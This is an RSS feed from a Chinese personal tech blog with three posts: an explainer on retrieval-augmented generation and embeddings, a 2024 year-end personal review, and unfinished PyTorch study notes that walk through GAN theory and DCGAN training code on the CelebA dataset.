Tianli's Blog https://blog.tianli0.top 斗罢艰险再出发！ Wed, 22 Jul 2026 09:38:19 GMT https://validator.w3.org/feed/docs/rss2.html Tianli's Blog zh-CN Copyright © 2021-present Tianli <![CDATA[重塑 AI 认知的关键魔法：RAG]]> https://blog.tianli0.top/posts/2025/RAG1 https://blog.tianli0.top/posts/2025/RAG1 Sun, 06 Apr 2025 00:00:00 GMT

写在开头：博客已经四个月没更新博客了，过年的时候家里事情太多，没时间写。开学后忙于重构以前的屎山，外加写新产品，忙完只想歇会儿，于是就停更了很久，趁着清明假期，更新一下博客，写一下我对于 RAG 的一些思考，RAG 已经有很多优质文章了，本文只是我个人的思考和总结，欢迎大家交流讨论。本文以 Naive RAG 为例

在正文开始之前，我们先来构建一下知识体系，带入这些问题阅读，如果你能够在阅读全文后清楚的回答这些问题，我想你就能理解 RAG 的核心概念了：

  • 你知道什么是 RAG 吗？它的全称是什么？它的工作原理是什么？
  • 你知道 RAG 的应用场景吗？它能解决什么问题？
  • 你知道 RAG 的优势和劣势吗？它和传统的生成式 AI 有什么区别？

LLM 的局限性 ​

RAG（Retrieval-Augmented Generation 检索增强生成）正如其字面意思，是通过检索信息来增强 LLM（大语言模型）生成的能力。RAG 是一种新兴的 AI 技术，它结合了信息检索和生成式 AI 的优势，能够在处理复杂任务时提供更准确和相关的答案。

RAG 的工作原理是：首先通过检索引擎从一个大型知识库中获取相关信息，然后将这些信息通过 Prompt 工程与 LLM 结合，生成最终的答案。

为什么需要这样做呢？无论是2022年底的 ChatGPT 爆火，还是2025年初的 DeepSeek热潮，我想只要你用过任何一个 LLM，你就会发现它们的一个共同点：

  • 在新建对话后，LLM 基本上没有任何记忆（注：这里排除掉内建 RAG 的 部分产品，比如现如今的 ChatGPT 官方网页/APP版本）

  • 同时 LLM 会回答你很多不存在的东西，编造一些不存在的事实，或者是对事实进行错误的推理，LLM 回答不存在的东西的现象被称为“幻觉”（Hallucination）。

  • 你也会发现 LLM 尤其不擅长于最新的技术和最近的热点事件（注：这里排除掉能够使用联网能力的产品），因为 LLM 训练时使用的数据集是有截止日期的。

就像你的同学是个学霸，考试成绩很好，但是他只学他让他学的东西，考试的时候也是闭卷，假如考试超纲，他就不会了，为了能尽可能拿点分，可能他编都会编造一些答案出来，万一蒙对了呢？

到这里，你应该就能理解常见的 LLM 的局限性了。

RAG 的实现 ​

实现前面已经提到过 RAG 的工作原理，接下来我们用一个图示来描述一下 RAG 的实现过程：

看起来很简单对吧？不就是 检索+ LLM 生成吗？

是的，RAG 的实现就是这么简单，但是它的核心在于如何检索到相关的信息，以及如何将这些信息与 LLM 结合，这就是 RAG 的关键所在。

对于一个RAG 产品来说，检索的质量和 LLM 的生成能力是两个最重要的指标，它们直接决定了给用户呈现的最终效果，而对 AI 落地产品来说，检索的质量更是重中之重，因为 AI 落地产品的核心就是要解决用户的问题，而不是让用户来解决 AI 的问题。

自然语言检索的核心：Embedding ​

那么，如何提高检索的质量呢？

模糊搜索/关键词匹配？那肯定不行，用户输入的问题可能是抽象的，常规的模糊搜索算法可能在用户一长段问题中找不到任何相关的内容，或者是找到的内容和用户的问题完全不相关，自然语言暗藏了太多的语义信息，模糊搜索和关键词匹配都无法捕捉到这些信息。

再仔细想想？LLM 的全称是什么？大语言模型（Large Language Model），它的核心就是语言模型，语言模型的核心就是概率分布，RAG 的检索过程其实就是一个概率分布的过程，但是 LLM 是需要经过训练的，训练的过程就是不断的调整模型参数，使得模型能够更好的拟合数据集中的概率分布。

那我们把 LLM 训练好的模型参数转换成数学模型，再使用一些数学方法来计算概率分布，最后通过概率分布来检索相关的信息，这样不就能提高检索的质量了吗？（这里仅仅是打个比方，实际并非如此）

如果你能想到这个问题的解决方案，那么恭喜你，你已经掌握了 RAG 的核心思想了。

而 Embedding 模型就是用来解决这类自然语言检索问题的，它的核心思想就是将自然语言转换成向量（Vector），然后通过计算向量之间的距离来判断它们之间的相似度。

关于 Embedding 的实现原理和算法，这里不做过多展开，实际上如果你想开发AI落地应用，可以不用了解任何算法原理，只需要你理解算法用处即可，您可参考： 1. 腾讯: 用万字长文聊一聊 Embedding 技术 2. 【大模型开发】 一文搞懂 Embedding 工作原理

这里过于抽象，那么我们举个例子来说明一下：

假设我们有一个问题：“你能给我推荐一个用一个红色水果做品牌名称的科技公司出的产品吗？”

假设我们有一个 Embedding 模型，它能够将这些自然语言转换成抽象高维度向量，向量的每一个维度都代表了一个特征，比如颜色、形状、大小等等。

假设我们有一个知识库，里面有很多关于水果的品牌名称，比如“手机”、“电动汽车”、“智能台灯”，“苹果”、“香蕉”、“西瓜”等等。

假设我们有一个检索算法，它能够计算向量之间的距离，比如欧几里得距离、余弦相似度等。

我们使用余弦相似度来计算向量之间的距离，那么我们可以将问题转换成向量，比如“你能给我推荐一个用一个红色水果做品牌名称的科技公司出的产品吗？”可以转换成一个向量 A，而知识库中的“苹果”，“手机”，“电动汽车”，“智能台灯”等等也可以转换成向量 B，C，D 等等。

对于文本类问题，我们通常使用余弦相似度来计算向量之间的距离，余弦相似度的公式如下：

cosine_similarity(A,B)=A⋅B||A||⋅||B||

通过此公式，我们可以计算出向量 A 和 B 等之间的余弦相似度，余弦相似度的值在 [−1,1] 之间，值越大表示两个向量越相似。 如果余弦相似度的值大于某个阈值，比如 0.8，那么我们就可以认为这两个向量是相似的，也就是问题和知识库中的内容是相关的。

这个时候，我们将检索内容通过 Prompt 工程再喂给 LLM，LLM 就会根据检索到的内容生成最终的答案。

在实际开发中，Embedding 模型可能是超高维度的，通常在 512 维以上，因此对于传统关系型数据库来说，存储和检索的成本都非常高，因此我们通常会使用一些专门的向量数据库来存储和检索向量，比如 Milvus、Pinecone、Weaviate 等等。

这些向量数据库通常会使用一些高效的索引算法来加速向量的检索，比如 HNSW、IVF、PQ 等等。

HNSW（Hierarchical Navigable Small World）是一种高效的近似最近邻搜索算法，它通过构建一个小世界图来加速向量的检索。您可参考 3. HNSW算法的基本原理及使用 来了解 HNSW 的实现原理和算法。

向量数据库通常已处理好了这些算法，你只需要调用相关 API 即可。

开始构建 RAG 吧！ ​

以上就是 Naive RAG 的实现原理，接下来我们重新梳理一个详细的 RAG 的实现过程：

你会注意到，这里有两个阶段：预处理阶段和查询处理阶段。在预处理阶段，我前面没有提到文档解析与分块的过程，因为在通常情况下，你所使用的Embedding 模型能够处理的文本长度是有限制的，而构建知识库的过程就是将文档解析成小块，然后将这些小块进行向量化，存入向量数据库中，在分块时，你可以使用不同的算法，你可以固定大小分块，比如说每 512 字符分成一块，但是这样可能会导致语义不连贯，或者是分块过小，导致向量数据库存储的向量数量过多，成本过高。基于内容意图分块，可以根据内容的语义和上下文进行分块，这样可以更好的保留语义信息，提高检索的质量。

分块的算法多种多样，您可以根据自己的需求选择合适的算法，您可以参考 4. 最详细的文本分块(Chunking)方法，直接影响LLM应用效果 来了解文本分块的实现原理和算法。

Embedding 的一些细节 ​

除了前面提到的分块算法，Embedding 模型还有一些细节需要注意：

  • Embedding 模型的选择：不同的 Embedding 模型在性能和效果上可能会有所差异，您可以根据自己的需求选择合适的模型，尤其要注意，不同模型的向量维度可能会有所不同，您需要根据模型的要求进行调整，并且他们即使是相同维度，但是每个维度的含义可能会有所不同，因此不建议使用不同的模型进行向量化，除非你有足够的理由去相信它们的向量是可以互相替代的。
  • 向量数据库的选择：向量数据库无疑是对于 RAG 来说最重要的部分之一，向量数据库对于服务器压力较大，尤其是对于大规模的知识库来说，且向量数据库不像传统关系型数据库那样成熟，因此在选择向量数据库时，您需要考虑到它的性能、稳定性和易用性等因素。
  • Prompt 工程：它决定了 LLM 生成的质量和效果，您需要根据自己的需求设计合适的 Prompt 模板，并且在设计时要考虑到 LLM 的特点和限制，尤其是要注意 LLM 的上下文长度限制，为了准确性您通常需要控制 LLM 的温度（temperature）来提高生成的准确性，通常情况下，温度越低，生成的内容越准确，但是也会导致生成的内容越单一，因此您需要根据自己的需求进行调整。

多种多样的 RAG ​

RAG 的实现方式有很多种，除了前面提到的 Naive RAG，还有一些其他的实现方式，比如：

  • Advanced RAG：它在 Naive RAG 的基础上，增加了一些优化，在检索前、检索中、检索后都增加了一些优化，比如使用多种检索算法进行组合，使用多种 LLM 进行组合，使用多种 Prompt 模板进行组合等等，这样可以提高检索的质量和生成的效果。

  • Modular RAG：它将 RAG 的各个部分进行模块化，您可以根据自己的需求选择合适的模块进行组合，比如使用不同的检索算法、不同的 LLM、不同的 Prompt 模板等等，这样可以提高 RAG 的灵活性和可扩展性。

使用传统的 Naive RAG 可能会导致检索的质量和生成的效果不理想，也有可能使用 Rerank（重排序）算法来对检索的结果进行重排序，或者使用 Chain of Thought（思维链）来对生成的结果进行优化，这些都是 RAG 的变种实现方式。

有机会的话，我会在后续的文章中介绍一下 Advanced RAG 和 Modular RAG 的实现原理和应用场景。

结语 ​

RAG 是一种新兴的 AI 技术，它结合了信息检索和生成式 AI 的优势，能够在处理复杂任务时提供更准确和相关的答案。RAG 的实现过程相对简单，但是它的核心在于如何检索到相关的信息，以及如何将这些信息与 LLM 结合，这就是 RAG 的关键所在。

最后，别忘了回答我开头提出的问题哦。

]]> wutianli@tianli0.top (Tianli) 思考 <![CDATA[2024年终总结]]> https://blog.tianli0.top/posts/2024/To2025 https://blog.tianli0.top/posts/2024/To2025 Sun, 22 Dec 2024 00:00:00 GMT

2024年终总结，2025年展望

“你失去了！”“我从未拥有。”

2024年终总结 ​

又到年底了，是时候总结一下这一年的收获和遗憾了。

去过的地方 ​

北京 - 上海 - 苏州 - 南京 - 泉州·晋江 - 福州 - 杭州 - 成都 - 绵阳·三台 - 绵阳·江油 - 宁波·宁海

  • 谷歌开发者大会 中国 2024

  • AdventureX 2024 黑客松

  • chilichill 杭州 livehouse

产品 ​

就写写稍微能看的公开项目吧。

  • TianliGPT - 适用于绝大多数博客的文章摘要生成器。

    用户体验升级，后端性能优化，微服务拆分，诞生于

  • PostChat - 全新的站点增强插件，为网站站长提供网站的AI增强服务。

    后端架构开发，RAG构建，产品设计。

  • TianliBlog - 个人博客。

    总算不像以前一样，一年一更了。bushi

收获 ​

  • 产品思维提升，对产品设计有了更深的认识，这里要感谢Heo和我一起完成项目时的讨论和指导。

  • 开发思维提升，逐渐认识到以前踩的坑。

  • 前端技术栈拓展，总算学了点Vue，前端还是很不熟练。

  • AI技术栈拓展，RAG,PyTorch,YOLO。

  • 认识更多朋友！！！

学习进度 ​

自我感觉，不准确。

前端 - 20%

后端 - 40%

AI类 - 5%

Python - 70%

Golang - 60%

Vue - 30%

JavaScript - 40%

TypeScript - 20%

PyTorch - 10%

YOLO - 20%

遗憾 ​

  • 始终学不会的课程。

  • 想法太多，实现太少。

  • 有一段时间失去对生活的热情。

  • 克制不住自己的懒惰。

  • 脾气越来越奇怪。

2025年展望 ​

  • 完成一些想法。

  • 争取把gin框架学精通。

  • 熟练掌握Vue。

  • 争取把PyTorch学会。

  • 再做一个产品。

  • 找到实习方向。

  • 修完重修的课程。

  • 家人健康。

]]> wutianli@tianli0.top (Tianli) 杂谈 <![CDATA[Pytorch 学习笔记8]]> https://blog.tianli0.top/posts/2024/Pytorch8 https://blog.tianli0.top/posts/2024/Pytorch8 Fri, 20 Dec 2024 00:00:00 GMT

未完成，待续......

GAN 主要用于生成数据，如生成图像、音频、文本等。GAN 由两个网络组成：生成器（Generator）和判别器（Discriminator）。生成器的目标是生成看起来像真实数据的数据，而判别器的目标是区分真实数据和生成器生成的数据。生成器和判别器之间的对抗训练使生成器生成的数据越来越逼真。

GAN基础概念 ​

GAN原论文：Generative Adversarial Networks

生成式对抗网络（Generative Adversarial Networks，GAN）是一种无监督学习算法，由Ian Goodfellow等人于2014年提出。GAN由两个网络组成：生成器（Generator）和判别器（Discriminator）。生成器的目标是生成看起来像真实数据的数据，而判别器的目标是区分真实数据和生成器生成的数据。生成器和判别器之间的对抗训练使生成器生成的数据越来越逼真。

生成器（Generator） ​

生成器是一个神经网络，它接收一个随机噪声作为输入，然后生成一些数据。生成器的目标是生成看起来像真实数据的数据。

判别器（Discriminator） ​

判别器是一个神经网络，它接收生成器生成的数据和真实数据，然后判断哪些数据是真实的，哪些数据是生成的。判别器的目标是区分真实数据和生成器生成的数据。

生成器损失和判别器损失 ​

生成器损失和判别器损失是GAN的两个重要指标。生成器损失是生成器生成的数据被判别器判断为真实数据的概率的负对数似然。判别器损失是判别器判断生成器生成的数据为真实数据的概率和判别器判断真实数据为真实数据的概率之和的负对数似然。

对抗训练 ​

生成器和判别器之间的对抗训练使生成器生成的数据越来越逼真。生成器和判别

GAN的原理 ​

GAN的核心思想是通过两个网络的对抗训练来实现生成数据。生成器和判别器之间的对抗训练使生成器生成的数据越来越逼真。生成器和判别器的训练过程如下：

  • 生成器生成一些数据，这些数据是随机噪声生成的。

  • 判别器接收生成器生成的数据和真实数据，然后判断哪些数据是真实的，哪些数据是生成的。

  • 判别器根据生成器生成的数据和真实数据的判断结果，更新自己的参数。

  • 生成器根据判别器的判断结果，更新自己的参数。

  • 重复步骤1-4，直到生成器生成的数据越来越逼真。

现在，我们定义一些符号：

从判别器开始，令 x 表示图像数据，D(x) 表示判别器对真实数据的判断结果，D(G(z)) 表示判别器对生成器生成的数据的判断结果。D(x) 输入是 CHW 为3x64x64 的图像，输出是一个标量，表示输入图像是真实数据的概率。

对于生成器，令 z 表示随机噪声，G(z) 表示生成器生成的数据。G(z) 输入是 CHW 为100x1x1 的随机噪声，输出是 CHW 为3x64x64 的图像。

生成器和判别器之间的对抗训练可以用下面的公式表示：

minGmaxDV(D,G)=Ex∼pdata(x)[log⁡D(x)]+Ez∼pz(z)[log⁡(1−D(G(z)))]

其中，pdata(x) 表示真实数据的分布，pz(z) 表示随机噪声的分布。V(D,G) 表示生成器和判别器之间的对抗训练的目标函数。

理论上，这个极小极大博弈的解是生成器生成的数据和真实数据的分布相同。也就是说， pg(x)=pdata(x) 。但是，在实际训练中，生成器和判别器之间的对抗训练是一个不断迭代的过程，生成器生成的数据和真实数据的分布可能不会完全相同。

GAN的应用 ​

GAN已经在图像生成、图像修复、图像超分辨率、图像风格迁移等领域取得了很好的效果。下面是一些GAN的应用：

  • DCGAN：深度卷积生成对抗网络（Deep Convolutional Generative Adversarial Networks）是一种生成对抗网络，它使用卷积神经网络来生成图像。

  • CycleGAN：循环一致生成对抗网络（Cycle-Consistent Generative Adversarial Networks）是一种生成对抗网络，它可以实现图像风格迁移。

  • Pix2Pix：图像到图像的生成对抗网络（Image-to-Image Translation with Conditional Adversarial Networks）是一种生成对抗网络，它可以实现图像到图像的转换。

  • StarGAN：多域图像风格迁移生成对抗网络（StarGAN: Unified Generative Adversarial Networks for Multi-Domain Image-to-Image Translation）是一种生成对抗网络，它可以实现多域图像风格迁移。

DCGAN ​

DCGAN原论文：Unsupervised Representation Learning with Deep Convolutional Generative Adversarial Networks

深度卷积生成对抗网络（Deep Convolutional Generative Adversarial Networks，DCGAN）是一种生成对抗网络，它使用卷积神经网络来生成图像。DCGAN的生成器和判别器都是卷积神经网络，生成器使用反卷积层（Deconvolutional Layer）来生成图像，判别器使用卷积层来判断图像是真实数据还是生成数据。

DCGAN 则是上面 GAN 的直接扩展，不同之处在于它在鉴别器和生成器中分别显式地使用卷积层和卷积转置层。这种结构使得 DCGAN 在图像生成任务上表现出色。鉴别器由步长卷积层和 LeakyReLU 激活函数组成，生成器由卷积转置层和 ReLU 激活函数组成。

在 鉴别器 中，输入是一个 3x64x64 的输入图像，输出是一个标量概率，表示输入来自真实数据分布。

在 生成器 中，输入是一个噪声向量，输出是一个 3x64x64 的 RGB 图像。生成器的输出是通过卷积转置层和 ReLU 激活函数生成的。

DCGAN上手实验 ​

我们以 Pytorch 官方文档的教程为例，实现一个简单的 DCGAN 模型。原文链接：DCGAN Tutorial

我们将使用 Celeb-A 数据集，我们使用此数据集来训练一个 DCGAN 模型，以生成新的人脸图像。

  • 定义基础参数

首先，我们定义一些基础参数：

python
import torch

# 数据集路径
dataroot = "data/celeba"

# 加载线程数
workers = 0

# 批次大小
batch_size = 128


# 图像的空间大小。所有图像将使用变换器调整大小为此大小。
image_size = 64

# 通道数
nc = 3

# 潜在向量的大小（生成器的输入大小）
nz = 100

# 与生成器中传输的特征图的深度相关
ngf = 64

# 设置通过鉴别器传播的特征图的深度
ndf = 64

# 训练轮次
num_epochs = 5

# 学习率固定为0.0002，至于为什么这里选择这个值，请参考原论文
lr = 0.0002

# Beta1超参数用于Adam优化器，固定为0.5，至于为什么这里选择这个值，请参考原论文
beta1 = 0.5

# 是否使用GPU
ngpu = 1

# 设置设备
device = torch.device("cuda:0" if (torch.cuda.is_available() and ngpu > 0) else "cpu")
  • 数据集加载

我们需要加载 Celeb-A 数据集。下载请前往 Celeb-A 找到名为 img_align_celeba.zip 的文件，然后解压到 data/celeba 目录下。

解压后的目录结构如下：

shell
data/celeba
├── img_align_celeba
│   ├── 000001.jpg
│   ├── 000002.jpg
│   ├── ...

然后，我们使用 torchvision 加载数据集：

python
import torch
from torchvision import datasets, transforms
import torchvision.datasets as dset

dataset = dset.ImageFolder(
    root=dataroot,
    transform=transforms.Compose(
        [
            transforms.Resize(image_size),
            transforms.CenterCrop(image_size),
            transforms.ToTensor(),
            transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),
        ]
    ),
)

dataloader = torch.utils.data.DataLoader(
    dataset, batch_size=batch_size, shuffle=True, num_workers=workers
)

在这里，我们使用 ImageFolder 类加载数据集，然后使用 Compose 类创建一个图像变换器，将图像调整为 64x64 大小，并将像素值归一化到 [-1, 1] 之间。

我们可以测试一下数据集加载是否成功：

python
import matplotlib.pyplot as plt
import torchvision.utils as vutils
import numpy as np

# 获取一个批次的数据
real_batch = next(iter(dataloader))

# 显示图像
plt.figure(figsize=(8, 8))
plt.axis("off")
plt.title("Training Images")
plt.imshow(
    np.transpose(
        vutils.make_grid(real_batch[0].to(device)[:64], padding=2, normalize=True).cpu(),
        (1, 2, 0),
    )
)

如果一切正常，我们应该能看到一些人脸图像：

DCGAN-Training-Images DCGAN-Training-Images

  • 权重初始化

在 DCGAN 论文中，作者指出所有模型都应该使用均值为 0，标准差为 0.02 的正态分布进行初始化。

在训练之前，我们需要初始化生成器和判别器的权重。我们使用 weights_init 函数来初始化权重：

python
def weights_init(m):
    classname = m.__class__.__name__
    if classname.find("Conv") != -1:
        nn.init.normal_(m.weight.data, 0.0, 0.02)
    elif classname.find("BatchNorm") != -1:
        nn.init.normal_(m.weight.data, 1.0, 0.02)
        nn.init.constant_(m.bias.data, 0)
  • 生成器

生成器是一个将潜在向量 z 转换为图像的神经网络。我们使用 ConvTranspose2d 层来实现生成器：

python
import torch.nn as nn

class Generator(nn.Module):
    def __init__(self):
        super(Generator, self).__init__()
        self.ngpu = ngpu
        self.main = nn.Sequential(
            # 输入是 Z，对 Z 进行卷积转置
            # ConvTranspose2d 输入参数：(输入通道数，输出通道数，卷积核大小，步长，填充，偏置)
            nn.ConvTranspose2d(nz, ngf * 8, 4, 1, 0, bias=False),
            # BatchNorm2d 输入参数：(通道数)
            nn.BatchNorm2d(ngf * 8),
            nn.ReLU(True),
            # 状态大小。 (ngf*8) x 4 x 4
            nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ngf * 4),
            nn.ReLU(True),
            # 状态大小。 (ngf*4) x 8 x 8
            nn.ConvTranspose2d(ngf * 4, ngf * 2, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ngf * 2),
            nn.ReLU(True),
            # 状态大小。 (ngf*2) x 16 x 16
            nn.ConvTranspose2d(ngf * 2, ngf, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ngf),
            nn.ReLU(True),
            # 状态大小。 (ngf) x 32 x 32
            nn.ConvTranspose2d(ngf, nc, 4, 2, 1, bias=False),
            nn.Tanh(),
            # 状态大小。 (nc) x 64 x 64
        )

    def forward(self, input):
        return self.main(input)

在生成器中，我们使用 ConvTranspose2d 层来实现卷积转置。再使用 BatchNorm2d 层来实现批量归一化。最后，我们使用 Tanh 激活函数来生成图像。

  • 判别器

判别器是一个将图像转换为概率的神经网络。我们使用 Conv2d 层来实现判别器：

python
class Discriminator(nn.Module):
    def __init__(self):
        super(Discriminator, self).__init__()
        self.main = nn.Sequential(
            # 输入是 (nc) x 64 x 64
            # Conv2d 输入参数：(输入通道数，输出通道数，卷积核大小，步长，填充，偏置)
            nn.Conv2d(nc, ndf, 4, 2, 1, bias=False),
            # LeakyReLU 输入参数：(负斜率，是否原地操作)
            nn.LeakyReLU(0.2, inplace=True),
            # 状态大小。 (ndf) x 32 x 32
            nn.Conv2d(ndf, ndf * 2, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ndf * 2),
            nn.LeakyReLU(0.2, inplace=True),
            # 状态大小。 (ndf*2) x 16 x 16
            nn.Conv2d(ndf * 2, ndf * 4, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ndf * 4),
            nn.LeakyReLU(0.2, inplace=True),
            # 状态大小。 (ndf*4) x 8 x 8
            nn.Conv2d(ndf * 4, ndf * 8, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ndf * 8),
            nn.LeakyReLU(0.2, inplace=True),
            # 状态大小。 (ndf*8) x 4 x 4
            nn.Conv2d(ndf * 8, 1, 4, 1, 0, bias=False),
            nn.Sigmoid(),
        )

    def forward(self, input):
        return self.main(input)

在判别器中，我们使用 Conv2d 层来实现卷积。再使用 LeakyReLU 激活函数来实现非线性。最后，我们使用 Sigmoid 激活函数来输出概率。

  • 实例化生成器和判别器
python
# 创建生成器
netG = Generator().to(device)

# 创建判别器
netD = Discriminator().to(device)

# 初始化权重
netG.apply(weights_init)
netD.apply(weights_init)
  • 损失函数

我们使用二元交叉熵损失函数来计算生成器和判别器的损失，其数学表达式如下：

BCELoss(x,y)=L={l1,…,lN}⊤,ln=−wn[yn⋅log⁡xn+(1−yn)⋅log⁡(1−xn)]

在这里，x 是模型的输出，y 是目标值，w 是权重。在实际模型应用中，使用此损失函数可以实现二分类任务。

python
# 创建二元交叉熵损失函数
criterion = nn.BCELoss()

# 创建一个固定的噪声向量，用于生成图像
fixed_noise = torch.randn(64, nz, 1, 1, device=device)

# 真实标签
real_label = 1

# 假标签
fake_label = 0
  • 优化器

我们使用 Adam 优化器来优化生成器和判别器的参数：

python
import torch.optim as optim

# 为生成器和判别器创建优化器
# Adam 输入参数：(参数，学习率，betas)
optimizerD = optim.Adam(netD.parameters(), lr=lr, betas=(beta1, 0.999))
optimizerG = optim.Adam(netG.parameters(), lr=lr, betas=(beta1, 0.999))
  • 训练模型

在训练模型时，我们需要依次执行以下步骤：

  • 为真实数据和生成数据计算判别器的损失。

  • 为生成器计算损失。

  • 更新判别器和生成器的参数。

python

# 训练模型
for epoch in range(num_epochs):
    for i, data in enumerate(dataloader, 0):
        ############################
        # (1) 更新判别器网络: 最大化 log(D(x)) + log(1 - D(G(z)))
        ###########################
        ## 训练判别器网络，所有梯度清零
        netD.zero_grad()
        ## 准备真实数据
        real_cpu = data[0].to(device)
        b_size = real_cpu.size(0)
        label = torch.full((b_size,), real_label, device=device)
        ## 通过判别器网络传递真实数据
        output = netD(real_cpu).view(-1)
        ## 计算真实数据的损失
        errD_real = criterion(output, label)
        ## 计算真实数据的梯度
        errD_real.backward()
        D_x = output.mean().item()

        ## 准备假数据
        noise = torch.randn(b_size, nz, 1, 1, device=device)
        fake = netG(noise)
        label.fill_(fake_label)
        ## 通过判别器网络传递假数据
        output = netD(fake.detach()).view(-1)
        ## 计算假数据的损失
        errD_fake = criterion(output, label)
        ## 计算假数据的梯度
        errD_fake.backward()
        D_G_z1 = output.mean().item()
        ## 计算判别器的总损失
        errD = errD_real + errD_fake
        ## 更新判别器的参数
        optimizerD.step()

        ############################
        # (2) 更新生成器网络: 最大化 log(D(G(z)))
        ###########################
        ## 训练生成器网络，所有梯度清零
        netG.zero_grad()
        label.fill_(real_label)  # 假数据标签是真实数据
        ## 通过判别器网络传递假数据
        output = netD(fake).view(-1)
        ## 计算生成器的损失
        errG = criterion(output, label)
        ## 计算生成器的梯度
        errG.backward()
        D_G_z2 = output.mean().item()
        ## 更新生成器的参数
        optimizerG.step()

        # 输出训练状态
        if i % 50 == 0:
            print(
                "[{}/{}][{}/{}] Loss_D: {:.4f} Loss_G: {:.4f} D(x): {:.4f} D(G(z)): {:.4f}/{:.4f}".format(
                    epoch,
                    num_epochs,
                    i,
                    len(dataloader),
                    errD.item(),
                    errG.item(),
                    D_x,
                    D_G_z1,
                    D_G_z2,
                )
            )

        # 保存生成器和判别器的参数
        if i % 100 == 0:
            vutils.save_image(
                real_cpu, "%s/real_samples.png" % "./results", normalize=True
            )
            fake = netG(fixed_noise)
            vutils.save_image(
                fake.detach(),
                "%s/fake_samples_epoch_%03d.png" % ("./results", epoch),
                normalize=True,
            )

# 保存模型
torch.save(netG.state_dict(), "netG.pth")
torch.save(netD.state_dict(), "netD.pth")
  • 训练可视化

生成训练损失迭代图：

python
import matplotlib.pyplot as plt

# 训练损失迭代图
plt.figure(figsize=(10,5))
plt.title("Generator and Discriminator Loss During Training")

# 读取损失数据
plt.plot(G_losses,label="G")
plt.plot(D_losses,label="D")
plt.xlabel("iterations")
plt.ylabel("Loss")
plt.legend()
plt.show()

可视化G进度：

python
# 生成器进度
fig = plt.figure(figsize=(8,8))
plt.axis("off")
ims = [[plt.imshow(np.transpose(i,(1,2,0)), animated=True)] for i in img_list]
ani = animation.ArtistAnimation(fig, ims, interval=1000, repeat_delay=1000, blit=True)

HTML(ani.to_jshtml())

经过以上步骤，我们就可以训练一个简单的 DCGAN 模型了，那么现在我们梳理一下完整代码：

python
# 导入必要的库
import torch
import torch.nn as nn
import torch.optim as optim
from torchvision import datasets, transforms
import torchvision.datasets as dset
import torchvision.utils as vutils
import matplotlib.pyplot as plt
import numpy as np
import matplotlib.animation as animation

# 数据集路径
dataroot = "data/celeba"

# 加载线程数
workers = 0

# 批次大小
batch_size = 128

# 图像大小
image_size = 64

# 图像通道数
nc = 3

# 潜在向量大小
nz = 100

# 生成器特征图大小
ngf = 64

# 判别器特征图大小
ndf = 64

# 训练轮数
num_epochs = 5

# 学习率
lr = 0.0002

# 优化器beta1参数
beta1 = 0.5

# 使用的GPU数量
ngpu = 1

# 设置设备
device = torch.device("cuda:0" if (torch.cuda.is_available() and ngpu > 0) else "cpu")

# 创建数据集
dataset = dset.ImageFolder(
    root=dataroot,
    transform=transforms.Compose(
        [
            transforms.Resize(image_size),
            transforms.CenterCrop(image_size),
            transforms.ToTensor(),
            transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),
        ]
    ),
)

# 创建数据加载器
dataloader = torch.utils.data.DataLoader(
    dataset, batch_size=batch_size, shuffle=True, num_workers=workers
)


# 定义权重初始化函数
def weights_init(m):
    classname = m.__class__.__name__
    if classname.find("Conv") != -1:
        nn.init.normal_(m.weight.data, 0.0, 0.02)
    elif classname.find("BatchNorm") != -1:
        nn.init.normal_(m.weight.data, 1.0, 0.02)
        nn.init.constant_(m.bias.data, 0)


# 定义生成器
class Generator(nn.Module):
    def __init__(self):
        super(Generator, self).__init__()
        self.main = nn.Sequential(
            # 输入是 Z，经过转置卷积
            nn.ConvTranspose2d(nz, ngf * 8, 4, 1, 0, bias=False),
            nn.BatchNorm2d(ngf * 8),
            nn.ReLU(True),
            # 状态大小: (ngf*8) x 4 x 4
            nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ngf * 4),
            nn.ReLU(True),
            # 状态大小: (ngf*4) x 8 x 8
            nn.ConvTranspose2d(ngf * 4, ngf * 2, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ngf * 2),
            nn.ReLU(True),
            # 状态大小: (ngf*2) x 16 x 16
            nn.ConvTranspose2d(ngf * 2, ngf, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ngf),
            nn.ReLU(True),
            # 状态大小: (ngf) x 32 x 32
            nn.ConvTranspose2d(ngf, nc, 4, 2, 1, bias=False),
            nn.Tanh(),
            # 输出大小: (nc) x 64 x 64
        )

    def forward(self, input):
        return self.main(input)


# 定义判别器
class Discriminator(nn.Module):
    def __init__(self):
        super(Discriminator, self).__init__()
        self.main = nn.Sequential(
            # 输入是 (nc) x 64 x 64
            nn.Conv2d(nc, ndf, 4, 2, 1, bias=False),
            nn.LeakyReLU(0.2, inplace=True),
            # 状态大小: (ndf) x 32 x 32
            nn.Conv2d(ndf, ndf * 2, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ndf * 2),
            nn.LeakyReLU(0.2, inplace=True),
            # 状态大小: (ndf*2) x 16 x 16
            nn.Conv2d(ndf * 2, ndf * 4, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ndf * 4),
            nn.LeakyReLU(0.2, inplace=True),
            # 状态大小: (ndf*4) x 8 x 8
            nn.Conv2d(ndf * 4, ndf * 8, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ndf * 8),
            nn.LeakyReLU(0.2, inplace=True),
            # 状态大小: (ndf*8) x 4 x 4
            nn.Conv2d(ndf * 8, 1, 4, 1, 0, bias=False),
            nn.Sigmoid(),
            # 输出大小: 标量
        )

    def forward(self, input):
        return self.main(input)


# 创建生成器
netG = Generator().to(device)
netG.apply(weights_init)

# 创建判别器
netD = Discriminator().to(device)
netD.apply(weights_init)

# 定义损失函数
criterion = nn.BCELoss()

# 创建固定的噪声向量，用于生成图像
fixed_noise = torch.randn(64, nz, 1, 1, device=device)

# 真实标签和假标签
real_label = 1.0
fake_label = 0.0

# 设置优化器
optimizerD = optim.Adam(netD.parameters(), lr=lr, betas=(beta1, 0.999))
